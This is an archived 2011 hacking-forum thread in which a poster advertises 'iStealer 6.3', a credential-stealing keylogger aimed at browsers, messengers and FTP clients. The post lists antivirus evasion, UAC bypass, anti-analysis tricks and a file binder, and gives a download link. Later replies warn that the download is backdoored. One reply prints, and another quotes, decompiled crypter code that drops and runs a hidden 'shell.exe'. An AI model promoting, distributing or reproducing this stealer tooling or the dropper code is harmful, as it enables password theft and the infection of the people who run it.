Hack Forums
][iStealer 6.3][Clean version][ - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: ][iStealer 6.3][Clean version][ (/showthread.php?tid=1648730)

][iStealer 6.3][Clean version][ - uknownmaster - Aug 25, 2011

[img]http://img193.imageshack.us/img193/7613/istealer63.jpg[/img]

Whats new in iStealer 6.3?

• Steals from firefox 3.6 Hot!
• All the bugs relating to the google chrome and gtalk have been fixed.
• All the bugs relating to the error in the username and password list have been fixed..
• A better encryption used...
• 100% BUG FREE. There wont be any problem relating to the php or the builder.

Steals:

• Firefox (All versions, included 3.5) New!
• Internet Explorer (All versions, included 8) New!
• Google Chorme (All versions) New!
• Opera (All versions) New!
• Internet Download Manager (IDM) New!
• MSN Messenger / Live Messenger (All versions)
• Google Talk
• Trillian (Msn, Aim, Yahoo)
• Pidgin / Gaim
• Paltalk Scene
• No-Ip
• DynDNS
• FileZilla
• FlashFXP New!
• SmartFtp New!
• CuteFtp (Pro, Home, Lite) New!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

• Builder GUI coded in VB6
• Stub coded in C/ASM
• Stub size uncompressed: 330Kb
• Stub size compressed with UPX: 180Kb
• OS: NT/XP/Vista/W7 New!
• FUD (Runtime and Scantime) Amazing
• Don't use external programs Important!
• All strings encrypted
• Bypass UAC in Vista/W7 New!
• Test URL function in the builder New!
• Php log manager (With new features) New!
• File binder upto 50 Mb New!
• File cloner and Icon Extractor
• Icon changer (Icons pack included)
• Anti virtual machines
• Anti OllyDbg
• Anti WireShark
• Anti Procmon
• Melt (Self destruction) New!
• All encrypted
• Good design

Link: http://www.mediafire.com/?3s1lg3295354qk7

Virus Scan: http://vscan.novirusthanks.org/analysis/b948056056313f31d41df075b3c30269/aW5kZXg=/

* - PlastationN - Aug 25, 2011

Is someone can confirm this version isn't backdoored?

* - Porch Monkey - Aug 25, 2011

i no i cant talk... but 1 post lol i dont trust it

* - Skar3 - Aug 25, 2011

There is already my thread: https://hackforums.net/showthread.php?tid=1511239

* - PlastationN - Aug 25, 2011

(Aug 25, 2011 05:03 AM)Porch Monkey Wrote:  i no i cant talk... but 1 post lol i dont trust it
Yeah, I will not execute this program without vouches :P


* - Complex - Aug 25, 2011

1 post. Says it isn't infected. Anyone confirm if it is or isn't?

* - duke565 - Aug 25, 2011

No download!! backdoor WTF!! bAD! ppc no download

* - StaTiX - Aug 25, 2011

oh snap
Code
Public Shared Sub Main()
    If Not MyProject.Computer.FileSystem.FileExists((Path.GetTempPath & "shell.exe")) Then
  TixzAGJOivgMIPr.zlXEZYPpPXGurWV("shell.exe")
    End If
    Dim manager As New ResourceManager("BvDTgVNlCqgnZuX", Assembly.GetExecutingAssembly)
    Dim rygDIadZMlWhCKK As String = "NZOeZABoKJThKfmGcFnRrKHPwNxKhx"
    Dim bytes As Byte() = Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.GetObject("kRUCjkWSUp")), rygDIadZMlWhCKK, &H25))
    Dim assByte As Byte() = Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.GetObject("nLsYmgXrte")), rygDIadZMlWhCKK, &H25))
    Try
  Dim rUSMCTKjkLwfHpG As String = "zero"
  Dim dYtYJAeSoLeotjI As String = "zero"
  TixzAGJOivgMIPr.AsOXoJiZBbsprcl((assByte), (rUSMCTKjkLwfHpG), (dYtYJAeSoLeotjI), (bytes), "", Application.ExecutablePath, "shell.exe", True)
    Catch exception1 As Exception
  ProjectData.SetProjectError(exception1)
  ProjectData.ClearProjectError
    End Try
End Sub

Yep its backdoored, i wonder what kind of crypter is this , ive seen like 5 backdoors with this crypter already down here

* - wadafaklulz - Aug 25, 2011

(Aug 25, 2011 05:55 AM)StaTiX Wrote:  oh snap
Code
Public Shared Sub Main()
    If Not MyProject.Computer.FileSystem.FileExists((Path.GetTempPath & "shell.exe")) Then
  TixzAGJOivgMIPr.zlXEZYPpPXGurWV("shell.exe")
    End If
    Dim manager As New ResourceManager("BvDTgVNlCqgnZuX", Assembly.GetExecutingAssembly)
    Dim rygDIadZMlWhCKK As String = "NZOeZABoKJThKfmGcFnRrKHPwNxKhx"
    Dim bytes As Byte() = Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.GetObject("kRUCjkWSUp")), rygDIadZMlWhCKK, &H25))
    Dim assByte As Byte() = Encoding.Default.GetBytes(TixzAGJOivgMIPr.USMCTKjkLwfHpGd(Conversions.ToString(manager.GetObject("nLsYmgXrte")), rygDIadZMlWhCKK, &H25))
    Try
  Dim rUSMCTKjkLwfHpG As String = "zero"
  Dim dYtYJAeSoLeotjI As String = "zero"
  TixzAGJOivgMIPr.AsOXoJiZBbsprcl((assByte), (rUSMCTKjkLwfHpG), (dYtYJAeSoLeotjI), (bytes), "", Application.ExecutablePath, "shell.exe", True)
    Catch exception1 As Exception
  ProjectData.SetProjectError(exception1)
  ProjectData.ClearProjectError
    End Try
End Sub

Yep its backdoored, i wonder what kind of crypter is this , ive seen like 5 backdoors with this crypter already down here

Again , someone crypted their server and trying to infect on forum where they've found out about the hack :S